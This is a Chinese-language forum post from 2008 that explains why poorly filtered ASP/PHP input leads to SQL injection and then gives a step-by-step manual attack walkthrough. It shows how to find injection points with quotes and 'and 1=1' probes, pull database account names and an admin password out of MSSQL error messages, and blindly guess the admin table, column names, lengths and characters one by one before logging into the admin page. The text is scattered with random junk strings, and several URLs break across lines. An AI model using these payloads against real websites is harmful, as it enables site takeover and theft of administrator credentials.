过期域名预定抢注

 找回密碼
 免费注册

網站腳本漏洞形成的原因

[複製鏈接]
發表於 2008-1-15 16:39:02 | 顯示全部樓層 |閱讀模式
隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。
' f2 W" I4 F* j( P1 q/ q& o6 E8 |9 s% T
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
  I+ H+ v  s7 @1 {
( q# X& C4 a- D5 o, a4 K相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
: {3 e. T3 u& `; ~( h: D
- C% q0 I  C0 k1 x  ·錯誤類型:  }  i/ u& R9 Y8 w+ {

+ ~6 h( C) |5 ^; s. b6 p7 ~4 t4 ZMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)0 K' w% S0 r, }2 d0 t; j$ j
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。$ u9 f. t: U( ~5 n- x! |8 ^
/test/show.asp, 第 34 行7 `) b, I3 ]* Y3 ?4 d
6 h4 I2 N, n0 r' f, @* l
從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:# C9 e, Z1 o  ?3 x) h4 L' Y
http://localhost/test/show.asp?ID=4 and (Select password fro
( w2 _8 `( x  z; [' @' _6 E1 T# @( D  w3 I
m login where user_name=』admin』)>0,返回的出錯信息如下:
( v9 i6 q" v3 @  f" Q+ L, ?; \: ~- O+ z* X# E" n% z
  ·錯誤類型:' G: |5 d. q& p) ~8 \

$ d& o! c* [: ~& ?4 G0 x" qMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)
6 j+ ?: g+ S$ A7 x& ?* a1 Q7 d1 e[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。
+ a# T9 v7 C3 [) w/test/show.asp, 第 34 行" u  h  C, h8 B4 Y6 j
% _' \$ p' H) c' Q
現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。
6 V( y3 j- ?. C: W3 [9 @% f7 J( J4 v% c
對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx- K8 q% J! ]& Z- R$ s

6 S3 }, S, e, ^! Q) F- [' Q$ Zxx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx9 E" H* A( N1 a7 d
1 U) D2 J, c. F) J/ s  c* _
如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
+ U: ]; ^2 {( b7 I9 A" }
- {* F( k7 w( W! W% v3 ~# Z( J* TMicrosoft vbscript 編譯器錯誤 錯誤碼率
+ @: D* @. q3 G
+ {: D: [# Q$ |9 A( ^『800a03f6』                                                                                                                 2 r5 V2 Q4 M; y$ a* l
6 V$ T& `$ c  t, S+ Q& D1 a
缺少』End』
" _9 k" N) N1 b5 q7 x
# A5 m8 T8 [5 m3 Z8 H3 R, P/iishelp/common/500-100.asp,行242! P5 ^6 y0 x( K% R! p$ `
- n  x9 r: i. q& l2 O
ADODB.Field 錯誤 『800a0bcd』8 J1 H4 ?+ e# V7 M6 C5 I
+ N' u5 a; t3 ~. w9 r0 w
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:    0 G9 p- Q. O) n* q1 e  P

# t) B" j) `9 R* n, [. i  如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′
: A1 b1 r# o" w出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:
5 V' M. V. N, }$ ?
) c9 M& E# @) Z' d# Q: \0 M  c1 猜管理員帳號表。
9 B% c0 y6 _+ B4 e2 e2 猜相應表中的用戶的字段名以及密碼的字段名。4 J( ~* p/ {. P3 u" w
3 猜出用戶名的長度和密碼的長度
# F0 e. Y) `9 o; T0 T7 n+ P4 猜出用戶和密碼
; D! Y5 ^" z) k' }% E3 I4 v5 找到管理頁面進入管理: ^0 L; W, C* f8 ]3 Z! v! s
1 e4 P) K3 ^6 L3 m. V7 Z3 @
猜管理員的表:                            : ?) @0 V. }; U# ~; h; }4 Y9 K

! i2 A# `: c1 ]8 [: Y3 h+ o http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值
- u$ |. D; H. u! s; w返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。: `, {2 q8 z" j3 \* F0 j" g" F, x/ |0 ^
   
4 c5 }" L" I: U8 ^+ I" w! F猜用戶的字段名:
9 E5 T$ |8 W0 T+ Mhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名9 |7 n% F. N. k8 x+ g% g
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)
' m# ^1 u$ }* ?5 S6 u5 c沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa9 H0 k% b3 @5 O: n
6 S& D5 w1 ^4 j9 Q$ P
猜密碼的字段名:  Y2 {6 V3 G7 ]" h( h/ F' {
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i2 i# ]$ K- }7 T& [2 D
* D6 Q( k2 _3 @5 R
d) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。                        / a- a6 |! H1 V  E$ t' N

# x5 R( a' ~; U: l' u" h再來:http://hostlocal/test2/list.asp?id=17 and 1=(select3 b7 O" ]2 ?- K9 b8 M# B* m

; G% P. D1 n$ c7 B& g, X) [ min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa
5 M- N: B7 D- e: y8 f4 Q! Q1 h% M' y/ U, s
猜用戶字段名長度:                          
( b/ w7 T$ g( H
0 _2 U# V0 D4 `0 m' L* ~http://hostlocal/test2/list.asp?id=17 and 1=(select min(
+ \* X: c4 M# b, K# D" z  i( H
, ^3 }  {( h* m# M/ Y: [4 Q% ~id) from admin where len(username)+ G$ Z* |- p* X9 F1 s

2 N# l# \! S. M% m, {9 R>5)                                                             4 N; g0 D8 [% t  J) V! a
/ B9 A1 [  @# T
正確$ L* O/ l( o+ ~: Z: D- s$ |
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10). ^. T7 J$ ~) I% T
正確" e0 Y2 q" s: B1 C9 _4 ~5 K
用戶名長度大於5小於107 ~& r$ v' ~' d* W& A/ @  _
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
8 R1 Y( K2 O" E( r( }& K& z& S, ^( s$ K0 P! ?( U# [
=7)                                                              ( _5 f9 x" g! J! L6 w

9 u1 O( M7 g, X6 o3 E5 S呵``` 用戶名長度為7位6 B( O' n5 [& s

1 i/ S  o9 h6 m6 U0 N猜密碼長度:/ ?- P- s( H/ G" q( }# U, t; i
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
* _9 w- e, h" K5 _+ o! Q正確: _, m  U9 t" E0 k9 S
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)! Q+ x" V& l2 }- ?) g
正確& ~( R! c# _8 C* _3 \  A
密碼長度也是大於5小於10
# r2 ]1 T3 J+ ~2 A! ihttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)& ?+ B" H& @* ^" X: o
呵``` 密碼長度為7位/ b" y( Y! s! |4 b9 W: X9 J
" ]$ N! @2 e0 U0 l' t; t9 Z
猜用戶名:
( l8 V! S4 e/ H, V# ?3 O2 V) h# z# ehttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)+ Z, o* Y# g: E/ ]$ |' _7 k+ G
6 I% ?: i5 E- t2 E- k) x1 D/ B
用戶名第一個字母是:a                                                         
; I. a' q2 {% d* V. ]+ V& W& g: u; f& T' N' b* |# \, E& P2 _
猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=
% O: d5 V; H: E& {. N/ u
; E  V& q+ G, T4 q" b(select min(id) from admin where mid(username,2,1)=′b′)                                             ' d" p4 D1 Z. N2 h  y5 N8 c; s5 Q

0 h- W$ N+ M" ?/ w7 t以此類推!
. m% V1 J* F. ?1 m0 }4 ~% x  x/ Q+ `" w) ^0 i
猜密碼:                                                                       , T. S7 h' s9 j8 w: l2 L: J% k
: j8 j  _" X2 s6 e
猜密碼跟猜用戶名一樣!
3 F+ f0 K" v. [% h, rhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) % N* n. ~4 a& c
猜完後來到管理頁面:
' c6 H, r. Q/ c( a; u/ J1 W# Ohttp://hostlocal/test2/admin.asp
: {$ X3 t* M: j; T' q' k7 d& T3 t2 q# C7 b2 B4 t* m2 ^3 |
登錄
您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

过期高净值品牌域名预定抢注

點基

GMT+8, 2025-12-10 03:18

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表